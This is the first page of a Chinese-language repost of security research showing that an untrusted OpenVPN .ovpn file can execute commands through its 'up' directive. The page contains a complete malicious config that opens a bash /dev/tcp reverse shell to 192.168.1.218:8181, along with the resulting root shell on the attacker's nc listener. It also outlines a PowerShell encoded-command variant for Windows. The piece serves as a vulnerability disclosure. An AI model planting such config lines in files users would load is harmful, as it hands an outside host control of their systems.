欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

从OpenVPN配置文件中创建反弹Shell实现用户系统控制

来源:本站整理 作者:佚名 时间:2018-07-03 TAG: 我要投稿


本文中,作者通过对OpenVPN的ovpn配置文件进行修改,构建出一个连接到远程控制端的反弹shell,悄无声息地实现对OpenVPN用户系统的控制管理。
端倪
在对OpenVPN应用作一些基础研究时,我偶然在 stackexchange 论坛上发现了这么一个有意思的问题:

这个用户似乎不是在询问使用免费OpenVPN的安全问题,而是具体在问OpenVPN自身的.ovpn配置文件是否安全。由于在 stackexchange 论坛上最后也没有一个让人满意的答复,于是,我对此进行了深入研究,并得出了让人惊讶的结论,是的,不可信的ovpn文件非常危险。
测试
让我们从头开始。ovpn文件是提供给OpenVPN客户端或服务器的配置文件,这种文件会详细介绍有关VPN连接的所有内容,包含要连接到的远程服务器、要使用的密码、要登录的协议、用户身份等。
ovpn文件最简单的形式如下:
remote 192.168.1.245ifconfig 10.200.0.2 10.200.0.1dev tun
以上文件表示,客户端会以开放的,不用身份验证或加密方式去连接IP为192.168.1.245的远程服务,在此过程中,会建立一种名为tun的路由模式,用它来在系统不同客户端间执行点对点协议,例如,这里的tun路由模式下,tun客户端为10.200.0.2,tun服务端为10.200.0.1,也就是本地的tun设备地址。这里的三行ovpn配置文件只是一个简单的示例,真正应用环境中的ovpn文件随便都是数百行,其中包含了很多复杂的功能配置。
本文我们来着重讨论 OpenVPN 配置功能的 up 命令,以下是官方说明文档对该命令的描述:
成功启用 TUN/TAP 模式后的 cmd 命令。
该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号,或者是反斜杠来强调,中间用空格区分。up命令可用于指定路由,这种模式下,发往VPN另一端专用子网的IP流量会被路由到隧道中去。
本质上,up命令会执行任何你指向的脚本程序。如果受害者使用的是支持  /dev/tcp 的Bash命令版本,那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下ovpn文件中就可创建一个连接到 192.168.1.218:8181 的反弹shell。
remote 192.168.1.245ifconfig 10.200.0.2 10.200.0.1dev tunscript-security 2up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0&1 2>&1&’”       
使用此ovpn文件时,用户不会看出明显的问题,VPN连接也会正常建立,流量也是畅通的。以下日志记录中也只有两个迹象可疑。为了便于阅读,我用粗体显示:
Thu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server modeThu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scriptsThu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 openedThu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 initThu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent thisThu Jun 7 12:28:34 2018 Initialization Sequence CompletedEven if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:albinolobster@ubuntu:~$ nc -lvp 8181Listening on [0.0.0.0] (family 0, port 8181)Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)root@client:/home/client/openvpn# ididuid=0(root) gid=0(root) groups=0(root)root@client:/home/client/openvpn#       
使用Bash命令的Linux系统实现这种攻击非常容易,但类似Windows这样没有 /dev/tcp 功能的环境,要成功在其中创建反弹 shell 就有些难。
幸运的是,TrustedSec的Dave Kennedy写了一个小的powershell反向shell,我们可以利用它来操作。使用powershell.exe的 -EncodedCommand参数,我们可以在命令行上传递整个脚本内容。但是首先,我们需要对脚本进行base64编码,以避免插入转义。而我的朋友卡洛斯·佩雷斯有一个名为 ps_encoder.py的脚本可以用来实现base64编码。
这样之后还存在一个问题。编码过后的反弹shell脚本长度超过了4000个字符,但OpenVPN有256个字符的限制。为了解决这个问题,我们可以使用setenv命令来拆分脚本,然后在up命令中重新对它们进行组合。所以,可以考虑如下的ovpn文件:

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载